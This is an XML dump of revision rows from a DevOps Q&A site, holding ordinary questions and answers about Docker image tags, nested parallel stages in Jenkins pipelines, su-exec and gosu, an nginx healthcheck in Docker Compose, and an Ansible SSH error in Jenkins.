  <row Id="16613" PostHistoryTypeId="2" PostId="5237" RevisionGUID="7d3f694b-5e2c-4dcb-ab2b-f379b0401bfa" CreationDate="2018-10-23T06:23:15.840" UserId="3427" Text="I administer a gitlab with build pipeline. All components are encapsulated in docker images from the official gitlab maintainer.&#xD;&#xA;&#xD;&#xA;Whenever I update - usually once a week - I need to check whether the gitlab/gitlab-runner-helper still works for the current latest version of gitlab. This can only be checked by executing a pipeline. If it does not work, the log tells me exactly what image it needs an I proceed to pull it.&#xD;&#xA;&#xD;&#xA;The image in question is also tagged with a latest tag, which I cannot use, due to the hard dependency to the non-volatile tag.&#xD;&#xA;&#xD;&#xA;    $docker image ls&#xD;&#xA;    REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    gitlab/gitlab-runner-helper   x86_64-8af42251     1ee5a99eba5f        20 hours ago        43.7MB&#xD;&#xA;    gitlab/gitlab-runner-helper   x86_64-latest       1ee5a99eba5f        20 hours ago        43.7MB&#xD;&#xA;&#xD;&#xA;**To automate my update process, I'd like to know, how I could pull the latest image with all alternative tags?**&#xD;&#xA;&#xD;&#xA;The man page of docker pull says, there is a `--all-tags` option, to load any tagged image from the repository, but this cannot be combined with a tag." ContentLicense="CC BY-SA 4.0" />
  <row Id="16614" PostHistoryTypeId="1" PostId="5237" RevisionGUID="7d3f694b-5e2c-4dcb-ab2b-f379b0401bfa" CreationDate="2018-10-23T06:23:15.840" UserId="3427" Text="How to pull all alternative tags of a docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16615" PostHistoryTypeId="3" PostId="5237" RevisionGUID="7d3f694b-5e2c-4dcb-ab2b-f379b0401bfa" CreationDate="2018-10-23T06:23:15.840" UserId="3427" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16616" PostHistoryTypeId="2" PostId="5238" RevisionGUID="a7771b3e-0062-486a-aedd-36da695e77f6" CreationDate="2018-10-23T09:12:36.300" UserId="354" Text="As long as you have access to the `FROM` image registry, you are totally free to choose where to pull from and where to push to." ContentLicense="CC BY-SA 4.0" />
  <row Id="16617" PostHistoryTypeId="2" PostId="5239" RevisionGUID="358c897c-6bb4-4952-9c69-6140d24fcfb3" CreationDate="2018-10-23T10:16:57.490" UserId="9655" Text="you can list all alternative image using this tool&#xD;&#xA;&#xD;&#xA;https://github.com/genuinetools/reg&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16618" PostHistoryTypeId="2" PostId="5240" RevisionGUID="25f0145c-e145-42cd-9b03-0664e530f08d" CreationDate="2018-10-23T13:47:32.543" UserId="10466" Text="Jenkins pipeline, declarative.&#xD;&#xA;&#xD;&#xA;simple question, how do I create a parallel stages inside stage which is parallel by itself?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent { label 'master' }&#xD;&#xA;    options {&#xD;&#xA;		timestamps()&#xD;&#xA;		timeout(time: 15, unit: 'MINUTES')&#xD;&#xA;		ansiColor('xterm')&#xD;&#xA;	}&#xD;&#xA;	&#xD;&#xA;	stages {&#xD;&#xA;			stage('Main parallel') {&#xD;&#xA;				parallel {&#xD;&#xA;					stage('Start containers') {&#xD;&#xA;					agent { label 'my-agent' }&#xD;&#xA;						stages {&#xD;&#xA;							stage('Start Linux containers') {&#xD;&#xA;								steps {&#xD;&#xA;									script {&#xD;&#xA;										dir (&quot;&quot;){&#xD;&#xA;											println &quot;running&quot;&#xD;&#xA;										}&#xD;&#xA;									}	&#xD;&#xA;								}&#xD;&#xA;							}&#xD;&#xA;							&#xD;&#xA;						}&#xD;&#xA;					}&#xD;&#xA;					stage('Build UI') {&#xD;&#xA;						stages {&#xD;&#xA;							stage('Cleanup main workspace'){&#xD;&#xA;								steps {&#xD;&#xA;										dir(&quot;&quot;) {&#xD;&#xA;											cleanWs()&#xD;&#xA;										}&#xD;&#xA;								}&#xD;&#xA;							}&#xD;&#xA;							stage('Git checkout') {&#xD;&#xA;								steps {&#xD;&#xA;									dir(&quot;&quot;) {&#xD;&#xA;											checkout()&#xD;&#xA;									}&#xD;&#xA;								}&#xD;&#xA;							}&#xD;&#xA;							&#xD;&#xA;							stages {&#xD;&#xA;								stage('Gradle build') {&#xD;&#xA;									parallel{&#xD;&#xA;										stage('gradle1') {&#xD;&#xA;											steps {&#xD;&#xA;												dir(&quot;&quot;) {&#xD;&#xA;													script {&#xD;&#xA;																buildInfo = rtGradle.run switches: gradleParams , tasks: 'clean deploy'&#xD;&#xA;																&#xD;&#xA;															}&#xD;&#xA;													}&#xD;&#xA;												}&#xD;&#xA;											}&#xD;&#xA;										}&#xD;&#xA;										stage('gradle2') {&#xD;&#xA;											steps {&#xD;&#xA;												dir(&quot;&quot;) {&#xD;&#xA;													script {&#xD;&#xA;															buildInfo2 = rtGradle2.run switches: gradleParams , tasks: 'unitTests'&#xD;&#xA;														&#xD;&#xA;														}&#xD;&#xA;													}&#xD;&#xA;												}	&#xD;&#xA;											}&#xD;&#xA;										}	&#xD;&#xA;								}&#xD;&#xA;							}&#xD;&#xA;					}&#xD;&#xA;				}&#xD;&#xA;			}&#xD;&#xA;		}&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am sure it is possible, but how?&#xD;&#xA;&#xD;&#xA;thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="16619" PostHistoryTypeId="1" PostId="5240" RevisionGUID="25f0145c-e145-42cd-9b03-0664e530f08d" CreationDate="2018-10-23T13:47:32.543" UserId="10466" Text="jenkins pipeline nested parallel" ContentLicense="CC BY-SA 4.0" />
  <row Id="16620" PostHistoryTypeId="3" PostId="5240" RevisionGUID="25f0145c-e145-42cd-9b03-0664e530f08d" CreationDate="2018-10-23T13:47:32.543" UserId="10466" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16621" PostHistoryTypeId="2" PostId="5241" RevisionGUID="987c74d7-6082-4725-a621-99640ec036f3" CreationDate="2018-10-23T15:37:51.323" UserId="9222" Text="Because I am new in the devops, I don't know where I need to apply the changes to run correct the project.&#xD;&#xA;&#xD;&#xA;The structure:&#xD;&#xA;&#xD;&#xA;git -&gt; Jenkins -&gt; docker build -&gt; Kubernetes ( deploy ) &#xD;&#xA;&#xD;&#xA;Is better to make the change of variables in the project, (example: password,db connection,..) to the jenkins, kubernetes or docker ?&#xD;&#xA;&#xD;&#xA;Regards, " ContentLicense="CC BY-SA 4.0" />
  <row Id="16622" PostHistoryTypeId="1" PostId="5241" RevisionGUID="987c74d7-6082-4725-a621-99640ec036f3" CreationDate="2018-10-23T15:37:51.323" UserId="9222" Text="Change variable inside of project. Jenkins, docker, kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="16623" PostHistoryTypeId="3" PostId="5241" RevisionGUID="987c74d7-6082-4725-a621-99640ec036f3" CreationDate="2018-10-23T15:37:51.323" UserId="9222" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;kubernetes&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16624" PostHistoryTypeId="2" PostId="5242" RevisionGUID="6f0b8714-500a-4d8a-93c7-9d6bfa954d97" CreationDate="2018-10-23T15:39:30.067" UserId="10469" Text="The su-exec program in this script is actually the Alpine version created by Natanael Copa: https://github.com/ncopa/su-exec&#xD;&#xA;&#xD;&#xA;It is installed from the Dockerfile (https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/Dockerfile) on line 6.&#xD;&#xA;&#xD;&#xA;The Alpine su-exec version is a substitute for gosu (https://github.com/tianon/gosu). Both programs are used to enable execution of a command as a specific user with the same environment variables as would be available to the user. &#xD;&#xA;&#xD;&#xA;Thus you can effectively &quot;step down&quot; from root inside the container to run a specific command as a user and not as root.&#xD;&#xA;&#xD;&#xA;So, answering the question, no - there is no alternative to this program in Ubuntu, it is specific to Alpine. Alternative solutions involve juggling su itself, as mentioned in the previous answer." ContentLicense="CC BY-SA 4.0" />
  <row Id="16625" PostHistoryTypeId="5" PostId="5242" RevisionGUID="b9396380-b89b-440c-90f9-dc37aeee2938" CreationDate="2018-10-23T15:48:00.953" UserId="10469" Comment="deleted 74 characters in body" Text="The su-exec program in this script is actually the Alpine version created by Natanael Copa: https://github.com/ncopa/su-exec&#xD;&#xA;&#xD;&#xA;It is installed from the Dockerfile (https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/Dockerfile) on line 6.&#xD;&#xA;&#xD;&#xA;The Alpine su-exec version is a substitute for gosu (https://github.com/tianon/gosu). Both programs are used to enable execution of a command as a specific user with the same environment variables as would be available to the user. &#xD;&#xA;&#xD;&#xA;Thus you can effectively &quot;step down&quot; from root inside the container to run a specific command as a user and not as root.&#xD;&#xA;&#xD;&#xA;So, answering the question, the alternative solution in Ubuntu would be to install gosu itself, which has no dependencies." ContentLicense="CC BY-SA 4.0" />
  <row Id="16626" PostHistoryTypeId="50" PostId="4830" RevisionGUID="ff9e4a32-632f-425c-9426-7a32b942622b" CreationDate="2018-10-23T19:00:45.510" UserId="-1" />
  <row Id="16627" PostHistoryTypeId="50" PostId="3730" RevisionGUID="a5406afe-eb0a-420c-8281-c517be9ed6b5" CreationDate="2018-10-23T21:00:03.537" UserId="-1" />
  <row Id="16628" PostHistoryTypeId="2" PostId="5243" RevisionGUID="a85cb960-9ecb-4f39-9969-cc9def292fef" CreationDate="2018-10-23T22:25:53.533" UserId="4115" Text="Sure, you can do this with Scripted Pipelines.  I've never tried to do it with Declarative so I'm not sure whether it's possible to do with Declarative or, if it is, if it's easy or straightforward.&#xD;&#xA;&#xD;&#xA;Here's an example of what this might look like with a Scripted Pipeline.  I haven't tested it so there may be syntax errors or other problems.&#xD;&#xA;&#xD;&#xA;    def parallelTopLevelSteps = [:]&#xD;&#xA;    &#xD;&#xA;    parallelTopLevelSteps['A and B'] = {&#xD;&#xA;      def parallelNestedSteps = [:]&#xD;&#xA;      &#xD;&#xA;      parallelNestedSteps['step A'] = { echo('A') }&#xD;&#xA;      parallelNestedSteps['step B'] = { echo('B') }&#xD;&#xA;    &#xD;&#xA;      parallel(parallelNestedSteps)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    parallelTopLevelSteps['C and D'] = {&#xD;&#xA;      def parallelNestedSteps = [:]&#xD;&#xA;    &#xD;&#xA;      parallelNestedSteps['step C'] = { echo('C') }&#xD;&#xA;      parallelNestedSteps['step D'] = { echo('D') }&#xD;&#xA;    &#xD;&#xA;      parallel(parallelNestedSteps)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    parallel(parallelTopLevelSteps)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16629" PostHistoryTypeId="2" PostId="5244" RevisionGUID="965a9a7c-b158-4c03-aab5-37e5839ff0b9" CreationDate="2018-10-23T22:34:00.000" UserId="4115" Text="The other answer is incorrect.  There is indeed a builtin to retry arbitrary sections of your job called [`retry`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#retry-retry-the-body-up-to-n-times).&#xD;&#xA;&#xD;&#xA;If you want to retry the whole job three times, you can wrap your entire job in a `retry` block:&#xD;&#xA;&#xD;&#xA;    retry(count: 3) {&#xD;&#xA;      // your job definition here&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However, if it's safe to do so, I would recommend wrapping individual steps or stages instead:&#xD;&#xA;&#xD;&#xA;    stage('my first stage') {&#xD;&#xA;      retry(count: 3) {&#xD;&#xA;        sh('some-command')&#xD;&#xA;        sh('some-other-command')&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="16630" PostHistoryTypeId="2" PostId="5245" RevisionGUID="2d206fce-5e17-493f-8762-52f9cc490d04" CreationDate="2018-10-23T23:18:08.300" UserId="4115" Text="For Declarative Pipeline:&#xD;&#xA;&#xD;&#xA;This question already has a [highly-upvoted answer on StackOverflow](https://stackoverflow.com/a/44101004/1824868):&#xD;&#xA;&#xD;&#xA;&gt; If you want to use a file (since a script is the thing generating the value you need):&#xD;&#xA;&gt;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;       agent { label 'docker' }&#xD;&#xA;&gt;       stages {&#xD;&#xA;&gt;         stage('one') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             sh 'echo hotness &gt; myfile.txt'&#xD;&#xA;&gt;             script {&#xD;&#xA;&gt;               // trim removes leading and trailing whitespace from the string&#xD;&#xA;&gt;               myVar = readFile('myfile.txt').trim()&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         stage('two') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         // this stage is skipped due to the when expression, so nothing is printed&#xD;&#xA;&gt;         stage('three') {&#xD;&#xA;&gt;           when {&#xD;&#xA;&gt;             expression { myVar != 'hotness' }&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;three: ${myVar}&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;A second solution would be to write out output from your script directly or with [`writeFile`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#writefile-write-file-to-workspace) and then later read it back in with [`readFile`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#readfile-read-file-from-workspace).  However, this comes with the significant caveat that both the reading and writing must take place on the same node, so you can't use this to send data across nodes.&#xD;&#xA;&#xD;&#xA;You can also can archive files centrally with [`archiveArtifact`](https://jenkins.io/doc/pipeline/steps/core/#archiveartifacts-archive-the-artifacts) and retrieve them with [`copyArtifact`](https://jenkins.io/doc/pipeline/steps/copyartifact/#copyartifacts-copy-artifacts-from-another-project) (and then read in the file with `readFile`).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;However, if you can, I would suggest using Scripted Pipeline instead, which allows a much simpler solution:&#xD;&#xA;&#xD;&#xA;    def String myVar&#xD;&#xA;    &#xD;&#xA;    stage('my-first-stage') {&#xD;&#xA;      myVar = sh(script: 'my-command', returnStdout: true)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    stage('my-second-stage') {&#xD;&#xA;      sh(&quot;my-other-command --var='${myVar}'&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;(I also already answered this question for Scripted Pipeline over on [ServerFault](https://serverfault.com/a/884798/213070).)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It looks like some of these solutions have already been proposed in the comments, but you are concerned that they are not elegant enough.  I'm not really sure what kind of elegance you're looking for, because I can't think of any way to simplify these answers in Jenkins-Pipeline-land." ContentLicense="CC BY-SA 4.0" />
  <row Id="16631" PostHistoryTypeId="5" PostId="5245" RevisionGUID="4068af77-dc50-44c6-97df-469cb0d15366" CreationDate="2018-10-23T23:23:59.933" UserId="4115" Comment="added 163 characters in body" Text="For Declarative Pipeline:&#xD;&#xA;&#xD;&#xA;This question already has a [highly-upvoted answer on StackOverflow](https://stackoverflow.com/a/44101004/1824868):&#xD;&#xA;&#xD;&#xA;&gt; If you want to use a file (since a script is the thing generating the value you need):&#xD;&#xA;&gt;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;       agent { label 'docker' }&#xD;&#xA;&gt;       stages {&#xD;&#xA;&gt;         stage('one') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             sh 'echo hotness &gt; myfile.txt'&#xD;&#xA;&gt;             script {&#xD;&#xA;&gt;               // trim removes leading and trailing whitespace from the string&#xD;&#xA;&gt;               myVar = readFile('myfile.txt').trim()&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         stage('two') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         // this stage is skipped due to the when expression, so nothing is printed&#xD;&#xA;&gt;         stage('three') {&#xD;&#xA;&gt;           when {&#xD;&#xA;&gt;             expression { myVar != 'hotness' }&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;three: ${myVar}&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;A second solution would be to write out output from your script directly or with [`writeFile`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#writefile-write-file-to-workspace) and then later read it back in with [`readFile`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#readfile-read-file-from-workspace).  However, this comes with the significant caveat that both the reading and writing must take place on the same node, so you can't use this to send data across nodes.&#xD;&#xA;&#xD;&#xA;You can also can archive files centrally with [`archiveArtifact`](https://jenkins.io/doc/pipeline/steps/core/#archiveartifacts-archive-the-artifacts) and retrieve them with [`copyArtifact`](https://jenkins.io/doc/pipeline/steps/copyartifact/#copyartifacts-copy-artifacts-from-another-project) (and then read in the file with `readFile`).&#xD;&#xA;&#xD;&#xA;Finally, there are some answers to a [near-identical question on StackOverflow](https://stackoverflow.com/q/47462500/1824868) that offer alternative solutions.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;However, if you can, I would suggest using Scripted Pipeline instead, which allows a much simpler solution:&#xD;&#xA;&#xD;&#xA;    def String myVar&#xD;&#xA;    &#xD;&#xA;    stage('my-first-stage') {&#xD;&#xA;      myVar = sh(script: 'my-command', returnStdout: true)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    stage('my-second-stage') {&#xD;&#xA;      sh(&quot;my-other-command --var='${myVar}'&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;(I also already answered this question for Scripted Pipeline over on [ServerFault](https://serverfault.com/a/884798/213070).)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It looks like some of these solutions have already been proposed in the comments, but you are concerned that they are not elegant enough.  I'm not really sure what kind of elegance you're looking for, because I can't think of any way to simplify these answers in Jenkins-Pipeline-land." ContentLicense="CC BY-SA 4.0" />
  <row Id="16632" PostHistoryTypeId="2" PostId="5246" RevisionGUID="ba4ea2ad-d94f-403e-bf1b-e878d0aa86df" CreationDate="2018-10-24T04:55:39.347" UserId="9998" Text="Normally a request gets routed to one of the replicas.  However, if each instance need to take some action when a webhook request comes in, how can I route the request to all replicas?&#xA;&#xA;Obviously only one instance can reply, so I am skeptical if this is possible.&#xA;&#xA;Alternatively, is there a way for when one of the instances receives the request, to communicate it to the others?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16633" PostHistoryTypeId="1" PostId="5246" RevisionGUID="ba4ea2ad-d94f-403e-bf1b-e878d0aa86df" CreationDate="2018-10-24T04:55:39.347" UserId="9998" Text="Route webhook to all replicas" ContentLicense="CC BY-SA 4.0" />
  <row Id="16634" PostHistoryTypeId="3" PostId="5246" RevisionGUID="ba4ea2ad-d94f-403e-bf1b-e878d0aa86df" CreationDate="2018-10-24T04:55:39.347" UserId="9998" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16635" PostHistoryTypeId="50" PostId="5042" RevisionGUID="3d762c61-4562-4204-89cb-ed32a12f81db" CreationDate="2018-10-24T05:00:48.933" UserId="-1" />
  <row Id="16636" PostHistoryTypeId="5" PostId="5241" RevisionGUID="39dd3ad0-788a-4513-979c-e8bd85518e4d" CreationDate="2018-10-24T07:04:06.653" UserId="9222" Comment="example?" Text="Because I am new in the devops, I don't know where I need to apply the changes to run correct the project.&#xD;&#xA;&#xD;&#xA;The structure:&#xD;&#xA;&#xD;&#xA;git -&gt; Jenkins -&gt; docker build -&gt; Kubernetes ( deploy ) &#xD;&#xA;&#xD;&#xA;Is better to make the change of variables in the project, (example: password,db connection,..) to the jenkins, kubernetes or docker ?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;With docker-compose I use an environment variable to change the variable inside my code.&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      MONGO_INITDB_ROOT_USERNAME: user&#xD;&#xA;      MONGO_INITDB_ROOT_PASSWORD: user&#xD;&#xA;&#xD;&#xA;I Want to change this variable and run correctly in the production environment. &#xD;&#xA;&#xD;&#xA;I don't know where is the best to change the variable, Jenkins,kubernetes with ansible,... &#xD;&#xA;&#xD;&#xA;Regards, " ContentLicense="CC BY-SA 4.0" />
  <row Id="16637" PostHistoryTypeId="2" PostId="5247" RevisionGUID="e7df70bb-bb95-41d9-8ae3-6e76b1d68ef2" CreationDate="2018-10-24T08:50:45.687" UserId="10479" Text="We have the following DockerFile&#xD;&#xA;&#xD;&#xA;    FROM nginx&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y curl \&#xD;&#xA;    &amp;&amp; rm -rf /var/lib/apt/lists/*&#xD;&#xA;    COPY nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;    EXPOSE 443&#xD;&#xA;    WORKDIR /etc/nginx&#xD;&#xA;    # Set the default command to execute&#xD;&#xA;    # when creating a new container&#xD;&#xA;    CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is the nginx.conf below. The container builds and runs fine.Curling the /health endpoint works both inside the container and outside.  The moment we add a healthcheck to the docker compose file like this, not only does the healthcheck not pass but the /health endpoint can't be curled either inside or outside the container also the container doesn't accept any requests. The healthcheck statement breaks it totally. This is  happening on digital ocean droplet running docker 18.06 ubuntu 16.04&#xD;&#xA;&#xD;&#xA;     healthcheck: &#xD;&#xA;       test: curl -f https://myserver.co.uk/health || exit 1&#xD;&#xA;       interval: 60s&#xD;&#xA;       timeout: 30s&#xD;&#xA;       retries:2&#xD;&#xA;       start_period:5m&#xD;&#xA;&#xD;&#xA;Nginx.conf&#xD;&#xA;&#xD;&#xA;     user www-data;&#xD;&#xA;     worker_processes 4;&#xD;&#xA;     pid /run/nginx.pid;&#xD;&#xA;&#xD;&#xA;     events {&#xD;&#xA;    	worker_connections 768;&#xD;&#xA;	  # multi_accept on;&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;     http {&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Basic Settings&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	sendfile on;&#xD;&#xA;	tcp_nopush on;&#xD;&#xA;	tcp_nodelay on;&#xD;&#xA;	keepalive_timeout 65;&#xD;&#xA;	types_hash_max_size 2048;&#xD;&#xA;	# server_tokens off;&#xD;&#xA;&#xD;&#xA;	# server_names_hash_bucket_size 64;&#xD;&#xA;	# server_name_in_redirect off;&#xD;&#xA;&#xD;&#xA;	include /etc/nginx/mime.types;&#xD;&#xA;	default_type application/octet-stream;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Logging Settings&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	access_log /var/log/nginx/access.log;&#xD;&#xA;	error_log /var/log/nginx/error.log;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Gzip Settings&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	gzip on;&#xD;&#xA;	gzip_disable &quot;msie6&quot;;&#xD;&#xA;&#xD;&#xA;	# gzip_vary on;&#xD;&#xA;	# gzip_proxied any;&#xD;&#xA;	# gzip_comp_level 6;&#xD;&#xA;	# gzip_buffers 16 8k;&#xD;&#xA;	# gzip_http_version 1.1;&#xD;&#xA;	# gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# nginx-naxsi config&#xD;&#xA;	##&#xD;&#xA;	# Uncomment it if you installed nginx-naxsi&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	#include /etc/nginx/naxsi_core.rules;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# nginx-passenger config&#xD;&#xA;	##&#xD;&#xA;	# Uncomment it if you installed nginx-passenger&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	#passenger_root /usr;&#xD;&#xA;	#passenger_ruby /usr/bin/ruby;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Virtual Host Configs&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        #ssl_dhparam /etc/ssl/private/dhparam.pem;&#xD;&#xA;&#xD;&#xA;	server {  &#xD;&#xA;    		listen 443;&#xD;&#xA;                ssl         on;&#xD;&#xA;    		ssl_certificate       /etc/nginx/certs/push_bundle.crt;&#xD;&#xA;    		ssl_certificate_key   /etc/nginx/certs/push_bundle.crt;&#xD;&#xA;&#xD;&#xA;			location /health {&#xD;&#xA;        		return 200 'alive';&#xD;&#xA;        		add_header Content-Type text/plain;&#xD;&#xA;    		}&#xD;&#xA;&#xD;&#xA;    		location / {&#xD;&#xA;        		proxy_http_version 1.1;&#xD;&#xA;        		proxy_cache_bypass $http_upgrade;&#xD;&#xA;        		proxy_set_header Upgrade $http_upgrade;&#xD;&#xA;        		proxy_set_header Connection 'upgrade';&#xD;&#xA;        		proxy_set_header Host $host;&#xD;&#xA;        		proxy_set_header X-Real-IP $remote_addr;&#xD;&#xA;        		proxy_pass http://localhost:1337/;&#xD;&#xA;    		}&#xD;&#xA;&#xD;&#xA;	}&#xD;&#xA;}	" ContentLicense="CC BY-SA 4.0" />
  <row Id="16638" PostHistoryTypeId="1" PostId="5247" RevisionGUID="e7df70bb-bb95-41d9-8ae3-6e76b1d68ef2" CreationDate="2018-10-24T08:50:45.687" UserId="10479" Text="Docker compose curl healthcheck on offical nginx image not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="16639" PostHistoryTypeId="3" PostId="5247" RevisionGUID="e7df70bb-bb95-41d9-8ae3-6e76b1d68ef2" CreationDate="2018-10-24T08:50:45.687" UserId="10479" Text="&lt;docker&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16640" PostHistoryTypeId="2" PostId="5248" RevisionGUID="24e9c7a6-47b5-4599-b2c4-8b008962ab7a" CreationDate="2018-10-24T09:53:33.497" UserId="7345" Text="I developed declarative pipeline code to execute ansible playbook.&#xD;&#xA;I tested the playbook from CLI and it is working properly.&#xD;&#xA;Wheat my playbook actually do is it will perform some shell commands on remote server.&#xD;&#xA;&#xD;&#xA;SSH configuration between twoo servers done.&#xD;&#xA;Genereatds ssh key copie it to the remote server and able to png the server.&#xD;&#xA;&#xD;&#xA;Error msg:&#xD;&#xA;&#xD;&#xA;    ansible-playbook /var/lib/jenkins/workspace/test1/playbook2.yml -i &#xD;&#xA;    /var/lib/jenkins/workspace/test1/inventory.ini -b --become-user root&#xD;&#xA;    [WARNING] Ansible is in a world writable directory &#xD;&#xA;    (/var/lib/jenkins/workspace/test1), ignoring it as an ansible.cfg source&#xD;&#xA;&#xD;&#xA;    fatal: [17.14.69.21]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Failed to &#xD;&#xA;    connect to the host via ssh: Permission denied (publickey,gssapi- &#xD;&#xA;    keyex,gssapi-with-mic,password).\r\n&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;    [17.14.69.21]: &#xD;&#xA;    FATAL: command execution failed&#xD;&#xA;    hudson.AbortException: Ansible playbook execution failed.&#xD;&#xA;&#xD;&#xA;--&gt;I have given sudo access to jenkins user.&#xD;&#xA;--&gt; jenkins is running as jenkins user&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Let me know any more information you required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16641" PostHistoryTypeId="1" PostId="5248" RevisionGUID="24e9c7a6-47b5-4599-b2c4-8b008962ab7a" CreationDate="2018-10-24T09:53:33.497" UserId="7345" Text="Jenkins-Ansible: executing ansbile playbook using jenkins pipeline script" ContentLicense="CC BY-SA 4.0" />
  <row Id="16642" PostHistoryTypeId="3" PostId="5248" RevisionGUID="24e9c7a6-47b5-4599-b2c4-8b008962ab7a" CreationDate="2018-10-24T09:53:33.497" UserId="7345" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
